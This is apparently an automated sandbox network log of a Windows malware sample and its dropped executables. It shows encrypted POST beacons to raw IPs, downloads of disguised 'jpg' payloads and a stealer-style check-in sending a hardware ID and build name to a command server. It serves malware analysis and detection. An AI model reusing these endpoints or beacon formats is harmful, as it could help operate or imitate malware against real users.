May 24, 2024 13:42:07.657936096 CEST	341	IN	HTTP/1.1 400 Bad Request Server: kittenx Date: Fri, 24 May 2024 11:42:07 GMT Content-Type: text/html Content-Length: 152 Connection: close Strict-Transport-Security: max-age=86400 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6b 69 74 74 65 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>kittenx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.4	49773	87.240.132.72	80	6664	C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe

Timestamp	Bytes transferred	Direction	Data
May 24, 2024 13:42:07.774362087 CEST	110	OUT	Data Raw: 16 03 01 00 69 01 00 00 65 03 01 66 50 7d 0f 68 49 25 10 fc 4a 73 81 8c 70 30 0f 7b 93 20 06 c9 b5 1a 22 10 9f fe cc 30 fe ac 0f 00 00 0e c0 0a c0 09 c0 14 c0 13 00 35 00 2f 00 0a 01 00 00 2e 00 00 00 0b 00 09 00 00 06 76 6b 2e 63 6f 6d 00 0a 00 Data Ascii: iefP}hI%Jsp0{ "05/.vk.com#
May 24, 2024 13:42:08.313591003 CEST	341	IN	HTTP/1.1 400 Bad Request Server: kittenx Date: Fri, 24 May 2024 11:42:08 GMT Content-Type: text/html Content-Length: 152 Connection: close Strict-Transport-Security: max-age=86400 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6b 69 74 74 65 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>kittenx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.4	49774	87.240.132.72	80	6664	C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe

Timestamp	Bytes transferred	Direction	Data
May 24, 2024 13:42:07.774665117 CEST	110	OUT	Data Raw: 16 03 01 00 69 01 00 00 65 03 01 66 50 7d 0f a6 4b 39 a6 f5 6f 1c 21 7c 3a 55 80 45 80 ad 63 53 b8 20 36 74 a9 31 13 7e 5b 1a 01 00 00 0e c0 0a c0 09 c0 14 c0 13 00 35 00 2f 00 0a 01 00 00 2e 00 00 00 0b 00 09 00 00 06 76 6b 2e 63 6f 6d 00 0a 00 Data Ascii: iefP}K9o!\|:UEcS 6t1~[5/.vk.com#
May 24, 2024 13:42:08.371870995 CEST	341	IN	HTTP/1.1 400 Bad Request Server: kittenx Date: Fri, 24 May 2024 11:42:08 GMT Content-Type: text/html Content-Length: 152 Connection: close Strict-Transport-Security: max-age=86400 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6b 69 74 74 65 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>kittenx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.4	49775	87.240.132.72	80	6664	C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe

Timestamp	Bytes transferred	Direction	Data
May 24, 2024 13:42:08.401271105 CEST	110	OUT	Data Raw: 16 03 01 00 69 01 00 00 65 03 01 66 50 7d 0f b0 45 59 d2 8b 51 a3 9d 51 9c bd ed b1 7a 98 20 95 d3 3a d4 4e 6c a1 5a 2d 74 34 26 00 00 0e c0 0a c0 09 c0 14 c0 13 00 35 00 2f 00 0a 01 00 00 2e 00 00 00 0b 00 09 00 00 06 76 6b 2e 63 6f 6d 00 0a 00 Data Ascii: iefP}EYQQz :NlZ-t4&5/.vk.com#
May 24, 2024 13:42:09.030558109 CEST	341	IN	HTTP/1.1 400 Bad Request Server: kittenx Date: Fri, 24 May 2024 11:42:08 GMT Content-Type: text/html Content-Length: 152 Connection: close Strict-Transport-Security: max-age=86400 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6b 69 74 74 65 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>kittenx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.4	49776	87.240.132.72	80	6664	C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe

Timestamp	Bytes transferred	Direction	Data
May 24, 2024 13:42:08.428931952 CEST	110	OUT	Data Raw: 16 03 01 00 69 01 00 00 65 03 01 66 50 7d 0f 85 f3 5a 23 8d cf f7 63 14 d5 fd f8 0f 04 68 e3 83 ca 6a 15 9b 67 39 4b f0 b9 d7 34 00 00 0e c0 0a c0 09 c0 14 c0 13 00 35 00 2f 00 0a 01 00 00 2e 00 00 00 0b 00 09 00 00 06 76 6b 2e 63 6f 6d 00 0a 00 Data Ascii: iefP}Z#chjg9K45/.vk.com#
May 24, 2024 13:42:09.100121021 CEST	341	IN	HTTP/1.1 400 Bad Request Server: kittenx Date: Fri, 24 May 2024 11:42:09 GMT Content-Type: text/html Content-Length: 152 Connection: close Strict-Transport-Security: max-age=86400 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6b 69 74 74 65 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>kittenx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.4	49806	85.192.56.26	80	6664	C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe

Timestamp	Bytes transferred	Direction	Data
May 24, 2024 13:42:19.838347912 CEST	271	OUT	POST /api/flash.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Content-Length: 261 Host: 85.192.56.26
May 24, 2024 13:42:19.838347912 CEST	261	OUT	Data Raw: 64 61 74 61 3d 54 50 51 72 77 4e 68 35 6f 63 64 34 72 73 62 35 69 6d 6b 71 78 64 53 48 58 6a 48 52 47 50 48 57 44 4d 62 72 41 71 43 50 6c 30 35 35 64 48 44 67 4f 64 63 65 44 75 46 32 55 55 51 61 6b 52 32 4d 53 69 73 42 58 6c 49 4e 38 42 57 42 34 Data Ascii: data=TPQrwNh5ocd4rsb5imkqxdSHXjHRGPHWDMbrAqCPl055dHDgOdceDuF2UUQakR2MSisBXlIN8BWB4ZLqO7GfBg1_qhbnLosT6yNDXWMIwGXD39x-mBEdZZmcVAZPxkOZLkqUQkv89fbF07ipIggBsM7XUPYTBYb4zTffo4BvCNuHkZTmDcFZ-EARJhIqEvXs5YbJuGXhs5V6csuSzb-hoJSblUuPzOUyS-QII6dUmUBilu
May 24, 2024 13:42:20.682594061 CEST	363	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 11:42:20 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 108 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 47 6f 53 73 32 67 4c 6d 6d 31 51 4c 66 41 63 6f 65 41 33 43 61 70 53 35 68 69 55 7a 73 58 4c 6c 33 6f 49 31 54 38 6a 74 33 6c 53 4d 39 38 30 4c 73 2b 37 4c 50 35 43 6d 4b 68 6b 70 54 46 49 56 35 63 61 4b 6f 43 78 61 2b 59 77 64 32 2b 4b 63 4a 4d 44 55 56 6e 79 47 57 7a 69 44 41 65 54 41 4f 36 74 75 4b 7a 2f 57 69 73 63 3d Data Ascii: GoSs2gLmm1QLfAcoeA3CapS5hiUzsXLl3oI1T8jt3lSM980Ls+7LP5CmKhkpTFIV5caKoCxa+Ywd2+KcJMDUVnyGWziDAeTAO6tuKz/Wisc=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.4	49805	85.192.56.26	80	6664	C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe

Timestamp	Bytes transferred	Direction	Data
May 24, 2024 13:42:19.840488911 CEST	271	OUT	POST /api/flash.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Content-Length: 689 Host: 85.192.56.26
May 24, 2024 13:42:19.840488911 CEST	689	OUT	Data Raw: 64 61 74 61 3d 76 4b 45 63 5f 77 46 78 47 74 4e 50 73 52 52 65 6d 5f 62 45 47 73 33 53 49 56 4f 7a 58 43 43 2d 30 34 75 6e 7a 4a 4f 44 73 41 79 64 68 42 39 64 4b 31 46 58 62 45 4d 4e 6a 58 47 5f 5f 77 32 6d 4b 49 45 65 47 64 74 70 34 68 34 61 65 Data Ascii: data=vKEc_wFxGtNPsRRem_bEGs3SIVOzXCC-04unzJODsAydhB9dK1FXbEMNjXG__w2mKIEeGdtp4h4aehkKC2jS-8BRHiaGfPhex3FFNXKNwL2fRbXMv_r7iST4KAAbNIDQIEILkKpCLYH2S5Y0WM-sK_dfaBKgcLTvv1YGRbrDE7SCdujUb2a9i0nURzOwZXdxkRwNdQeWMtumlHC0i2k8THbfcNWkXiaMzmfD71mDu1zplt
May 24, 2024 13:42:22.578789949 CEST	363	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 11:42:20 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 108 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 41 38 35 78 43 6e 51 4b 73 62 46 73 34 49 5a 46 4c 34 74 4e 69 77 5a 57 57 35 6c 4f 6b 42 32 4f 4f 33 46 59 76 67 67 43 44 79 73 4e 42 4c 4b 46 4c 69 4f 41 4f 41 72 78 6d 44 4b 5a 51 76 4d 65 43 45 43 48 49 67 32 56 71 72 72 36 75 6f 48 77 57 4a 57 41 4a 4d 74 67 37 2b 6f 58 4a 6f 6b 38 79 4c 6f 36 2b 72 44 33 2f 59 6b 3d Data Ascii: A85xCnQKsbFs4IZFL4tNiwZWW5lOkB2OO3FYvggCDysNBLKFLiOAOArxmDKZQvMeCECHIg2Vqrr6uoHwWJWAJMtg7+oXJok8yLo6+rD3/Yk=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.4	49808	103.146.158.221	80	5180	C:\Users\user\Documents\SimpleAdobe\AcFckZYSxYVwMhatLa6qbSBF.exe

Timestamp	Bytes transferred	Direction	Data
May 24, 2024 13:42:23.178112030 CEST	103	OUT	GET /xxxxxxxx.jpg HTTP/1.1 User-Agent: HTTPREAD Host: sta.alie3ksgee.com Cache-Control: no-cache
May 24, 2024 13:42:23.981054068 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 24 May 2024 11:42:23 GMT Content-Type: image/jpeg Content-Length: 389194 Last-Modified: Wed, 22 May 2024 07:48:26 GMT Connection: keep-alive ETag: "664da34a-5f04a" Expires: Sun, 23 Jun 2024 11:42:23 GMT Cache-Control: max-age=2592000 Accept-Ranges: bytes Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 43 00 03 02 02 02 02 02 03 02 02 02 03 03 03 03 04 06 04 04 04 04 04 08 06 06 05 06 09 08 0a 0a 09 08 09 09 0a 0c 0f 0c 0a 0b 0e 0b 09 09 0d 11 0d 0e 0f 10 10 11 10 0a 0c 12 13 12 10 13 0f 10 10 10 ff db 00 43 01 03 03 03 04 03 04 08 04 04 08 10 0b 09 0b 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 ff c0 00 11 08 05 a0 04 38 03 00 11 00 01 11 01 02 11 01 ff c4 00 1d 00 00 01 05 01 01 01 01 00 00 00 00 00 00 00 00 00 03 00 01 02 04 05 06 07 08 09 ff c4 00 63 10 00 01 03 02 03 05 03 06 0b 04 06 05 08 07 03 0d 01 00 02 03 04 11 05 12 21 06 13 22 31 41 07 32 51 14 23 42 52 61 71 33 62 72 81 82 91 92 a1 a2 b1 c1 08 15 b2 d1 24 34 43 53 c2 d2 16 63 a3 e1 f0 17 25 73 83 93 b3 e2 f1 26 35 44 54 64 a4 c3 27 36 45 55 65 74 94 f2 d3 09 37 46 84 85 a5 b4 ff c4 00 1c 01 00 03 01 01 01 01 01 01 00 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 [TRUNCATED] Data Ascii: JFIFCC8c!"1A2Q#BRaq3br$4CSc%s&5DTd'6EUet7F>!1A"2Qa#3qB$4CDRrb?{e#y\|,Pb?'(+#B:,9=o5,bM:,rPw<C1&lPOrPrZP,My",@XoD@;: ,$Pppg:<;8B.),a !!0rPfOto'[o`h4m\|,G<<0@?F*R7Sde@_@jFGy,{0X6h7EwFrnlYpoj`T.Y]7mJag@,<LTDRauBS\+><{N8rAG#nF\|#.;Bsn6a\|5dg\|w4}I\|S>
May 24, 2024 13:42:23.982861042 CEST	224	IN	Data Raw: 7f c8 ea fd fb 61 52 57 3b 7e 67 dd db 79 1e 49 34 5f 29 97 b7 b7 bf 29 b5 ed a1 c3 28 76 bb 77 b3 15 a6 d4 d5 b1 b5 91 ce ce fc 0f cb de 5d 32 e8 6b 7d 3e 50 ed f3 b2 dc 5e b2 9e a3 7c 08 da 3d 9e 63 a3 75 c7 f5 aa 56 97 0e 1f 8d e9 37 e9 b5 7d Data Ascii: aRW;~gyI4_))(vw]2k}>P^\|=cuV7}&I~#_;AL[;[qpi?nl5Gx1h5-c*PWrpUcwXF VU>L.}{hkplMZZF9,>}=
May 24, 2024 13:42:23.987823963 CEST	1236	IN	Data Raw: f6 2f 19 93 02 aa a8 68 00 36 a2 8e a9 a7 30 9e 0b e8 3d ae 6d f8 bd ed 5d 11 e6 57 5b d9 9e da 33 01 c4 3c a2 48 5c ea 3a d7 06 56 44 4e ad b6 99 c7 b8 a9 e5 9e 58 bb fe 27 27 83 df ee d9 f2 c8 da 86 3d b9 73 45 2b 79 48 db 5f 4f 99 72 7c 6b e1 Data Ascii: /h60=m]W[3<H\:VDNX''=sE+yH_Or\|kCnnYo,<BH]<\zY?atZKW+a.i[-D\|\|rrok/>rM=8oOK0)l%TVI=kyZ8z,15G
May 24, 2024 13:42:23.990638018 CEST	1236	IN	Data Raw: 13 78 bc fc f3 b8 57 d0 3d 92 6d 7c 72 c6 36 56 b2 76 99 61 68 7e 1c f7 ea 4c 5c dc c7 7b 97 91 f2 2d c3 3e 9d 7c 57 ce 76 f4 27 f7 45 f9 93 d1 7a 1f 07 e5 5f bf f9 b9 3e 67 1f 88 4f 76 be c5 ec 65 cd bf 4e 0e 3d d0 5c 75 d0 a9 b6 58 bf 1b 3d 98 Data Ascii: xW=m\|r6Vvah~L\{->\|Wv'Ez_>gOveN=\uX= uO,7K0hYFD<{[tk'{>i61(Y(.MlqCK(U8C2ciNt2*jJVKy$uD{l
May 24, 2024 13:42:23.990674019 CEST	1236	IN	Data Raw: d8 e5 e6 f2 63 97 c6 cf 73 d3 7b 8e 3c f8 6a fb 6a 55 33 70 79 de 37 f7 4f 8a f4 b8 39 fc eb 93 2f 8f 30 ec 0d 08 f0 5e 97 87 5b 72 72 06 eb 8e 57 3e e4 79 f8 8e 3e 2f 28 66 c3 3c 87 81 96 f6 95 9e 59 ae 71 58 7f 25 6b 3e 1e 70 df 72 e3 cf 3a b9 Data Ascii: cs{<jjU3py7O9/0^[rrW>y>/(f<YqX%k>pr:)(LYy6[3!}DY.1Yl/#=n$s++3XFD,O.+))[rDf[d4$#M!P tPmp=&KNVu.<
May 24, 2024 13:42:23.990706921 CEST	1236	IN	Data Raw: 2c 21 d6 73 cd fd 25 3f 97 6f 75 17 29 56 83 4b 40 68 16 1e 03 92 cf c7 40 fb 8d 2e ba a7 6a 4b 25 8d 9b 71 ef 59 59 af 65 04 68 79 3c 6d 69 f7 ac b2 8a 17 28 3d 13 9a 3f 03 e5 1e 0b 5c 64 1e 07 01 56 5d c5 e8 50 d1 96 f6 5c d9 ce f6 a9 10 7b 2e Data Ascii: ,!s%?ou)VK@h@.jK%qYYehy<mi(=?\dV]P\{.Fr1[rZAE9T34H`e=NF>o[S~"KJv@8OjYgDJqPLU0GwvV7}*Q:<4XX!"hYUD3 tS:
May 24, 2024 13:42:23.998294115 CEST	1236	IN	Data Raw: 08 1b 61 7e a5 18 e5 ab a1 b4 c0 5a cc 76 47 03 a0 3f 72 2f 1e c2 59 0d c5 d6 59 49 8f 47 bb 07 89 82 cb 03 96 ed 32 05 d6 fc 79 46 b3 d1 b2 8e a0 23 93 28 62 34 0b f2 59 81 00 16 e4 80 90 6d ec 16 79 a6 fb 15 ad d5 18 89 1c b7 68 63 7d 4b 80 c1 Data Ascii: a~ZvG?r/YYIG2yF#(b4Ymyhc}Ko/Fz) AOmjmF>mHZn4QOc?2}Zs-'q[6gr#J]gxZkqE,\KswYq"h3{GX"o
May 24, 2024 13:42:24.001444101 CEST	1236	IN	Data Raw: ea 95 16 ec 08 18 ee 56 3f 52 9f cb fa 84 f2 db 44 f7 ae 96 76 8d 79 23 c8 0b 96 c0 75 59 65 2d ec f4 2c 40 75 4a e1 d0 97 b4 4f 35 5c 7c 7b 6b 8f a3 d8 a5 c9 c7 ae d4 98 06 fc 96 40 40 0d b9 20 0c d6 f2 25 46 5d fa 2d 08 02 58 cd 1b 9a db a0 dd Data Ascii: V?RDvy#uYe-,@uJO5\\|{k@@ %F]-X?`N)5E0Ev)l$Hc:3Zl,F^W6Ye^@-rhZa. %28WBS]*_j4sF6(?<W75.#=WKr,i
May 24, 2024 13:42:24.001477957 CEST	1236	IN	Data Raw: ce 1a 0d 82 c3 2a df 11 04 63 98 08 d0 4a c5 30 95 8f 82 c7 4a 2b 7b 13 90 e7 b4 80 49 a5 b3 42 01 d5 0c f5 fc 1c 35 5f 1b 5c 67 49 b5 9a f2 4b 95 54 f9 7d cb 95 67 6b 4e 60 80 b0 39 27 80 38 36 37 47 27 61 ce ed 5c 3b cc 5f 64 db cf 36 2e f7 5b Data Ascii: *cJ0J+{IB5_\gIKT}gkN`9'867G'a\;_d6.[uDXQ{$E{)FrPg+%o5In+[nagMaB7c4YK}KgKM1,n+4Gm{+4mkN@fR)gek
May 24, 2024 13:42:24.007652044 CEST	1236	IN	Data Raw: 56 84 1a 01 b8 09 c0 22 33 e8 12 38 fb 0c 5c 7a 02 fd a6 d9 53 ce f5 15 4f b7 c9 88 2b b8 68 e5 db a1 90 e8 0f b9 62 a4 07 24 20 e9 01 53 59 20 1b d2 1e f5 34 e0 ad e6 b3 31 13 c6 6a 2c 95 04 80 20 ac e4 09 b7 92 74 26 00 1d 2e 56 57 2d 50 28 16 Data Ascii: V"38\zSO+hb$ SY 41j, t&.VW-P(rSb>@'@Da7yzj#H#Wi3(>k;B@4=h$~V;%Qk~\'`T4NYqtpY8j0I{RW*qFB5x5[FlS
May 24, 2024 13:42:24.008691072 CEST	1236	IN	Data Raw: 19 b2 3b 3b c1 67 88 a2 0e 4b 55 1c 73 41 c4 96 75 a9 c7 35 9b 3b ec 61 c9 5a a7 70 e8 34 94 2a 53 8e 6a 69 8a 56 54 24 79 2c 29 c4 9b e3 ec 46 1d 52 26 f5 f7 ad 6c f2 02 27 01 14 5e c2 16 b9 59 59 02 6d 16 44 87 06 e4 40 43 48 23 39 fc c8 38 7b Data Ascii: ;;gKUsAu5;aZp4*SjiVT$y,)FR&l'^YYmD@CH#98{tzQ7JPJtRs@'N>IgSSJK:_cq\|Z48y:0m=Ldu$!jrrceM+`'z5s4YgchR[gyB5]Uk-d9;.
May 24, 2024 13:42:25.442337036 CEST	309	OUT	GET /aaaaaaaa.jpg HTTP/1.1 Accept: / UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: sta.alie3ksgee.com Connection: Keep-Alive
May 24, 2024 13:42:25.792083025 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 24 May 2024 11:42:25 GMT Content-Type: image/jpeg Content-Length: 1940147 Last-Modified: Thu, 23 May 2024 10:20:04 GMT Connection: keep-alive ETag: "664f1854-1d9ab3" Expires: Sun, 23 Jun 2024 11:42:25 GMT Cache-Control: max-age=2592000 Accept-Ranges: bytes Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff fe 00 3b 43 52 45 41 54 4f 52 3a 20 67 64 2d 6a 70 65 67 20 76 31 2e 30 20 28 75 73 69 6e 67 20 49 4a 47 20 4a 50 45 47 20 76 38 30 29 2c 20 71 75 61 6c 69 74 79 20 3d 20 38 35 0a ff db 00 43 00 05 03 04 04 04 03 05 04 04 04 05 05 05 06 07 0c 08 07 07 07 07 0f 0b 0b 09 0c 11 0f 12 12 11 0f 11 11 13 16 1c 17 13 14 1a 15 11 11 18 21 18 1a 1d 1d 1f 1f 1f 13 17 22 24 22 1e 24 1c 1e 1f 1e ff db 00 43 01 05 05 05 07 06 07 0e 08 08 0e 1e 14 11 14 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e ff c0 00 11 08 03 20 02 58 03 01 22 00 02 11 01 03 11 01 ff c4 00 1f 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b ff c4 00 b5 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 23 42 b1 c1 15 52 d1 f0 24 33 62 72 82 09 0a 16 17 18 19 1a 25 26 [TRUNCATED] Data Ascii: JFIF``;CREATOR: gd-jpeg v1.0 (using IJG JPEG v80), quality = 85C!"$"$C X"}!1AQa"q2#BR$3br%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyzw!1AQaq"2B#3Rbr$4%&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz?.(((((((:2C$0)%!.2\l&;2GZr85+l' +DP9bR2r^(+=Uuy=E+ ,2#_9d{(b;SHAQEtZ?E-RPQKQ@E-%R%(c2K"F1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.4	49814	185.172.128.170	80	3052	C:\Users\user\Documents\SimpleAdobe\va2JQfwFWdGawVd2zp4LeR00.exe

Timestamp	Bytes transferred	Direction	Data
May 24, 2024 13:42:24.111520052 CEST	418	OUT	POST /7043a0c6a68d9c65.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CAEHJEBKFCAKKFIEHDBF Host: 185.172.128.170 Content-Length: 216 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 41 45 48 4a 45 42 4b 46 43 41 4b 4b 46 49 45 48 44 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 42 36 41 41 45 31 43 44 39 45 33 32 38 38 37 32 30 32 38 37 35 0d 0a 2d 2d 2d 2d 2d 2d 43 41 45 48 4a 45 42 4b 46 43 41 4b 4b 46 49 45 48 44 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 65 66 61 75 6c 74 31 31 0d 0a 2d 2d 2d 2d 2d 2d 43 41 45 48 4a 45 42 4b 46 43 41 4b 4b 46 49 45 48 44 42 46 2d 2d 0d 0a Data Ascii: ------CAEHJEBKFCAKKFIEHDBFContent-Disposition: form-data; name="hwid"4B6AAE1CD9E32887202875------CAEHJEBKFCAKKFIEHDBFContent-Disposition: form-data; name="build"default11------CAEHJEBKFCAKKFIEHDBF--
May 24, 2024 13:42:25.265348911 CEST	384	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 11:42:24 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 156 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 4d 57 56 68 4d 44 45 31 4e 7a 51 30 5a 54 45 33 4d 47 59 33 4e 44 51 35 59 32 52 6c 4d 7a 68 6d 4e 47 4a 68 4d 7a 42 6d 4e 47 4a 6a 4f 44 52 6d 59 6d 4a 6b 5a 57 49 7a 4e 44 4a 6b 4f 44 59 30 4d 32 55 34 5a 6a 56 6d 4d 32 46 6c 4d 7a 42 68 4e 44 67 33 5a 54 4a 6d 4e 54 5a 6d 4e 57 46 6b 66 47 70 69 5a 48 52 68 61 57 70 76 64 6d 64 38 5a 57 6c 74 5a 57 68 79 64 6e 70 76 5a 43 35 6d 61 57 78 6c 66 44 46 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 42 38 4d 58 77 3d Data Ascii: MWVhMDE1NzQ0ZTE3MGY3NDQ5Y2RlMzhmNGJhMzBmNGJjODRmYmJkZWIzNDJkODY0M2U4ZjVmM2FlMzBhNDg3ZTJmNTZmNWFkfGpiZHRhaWpvdmd8ZWltZWhydnpvZC5maWxlfDF8MHwxfDF8MXwxfDB8MXw=
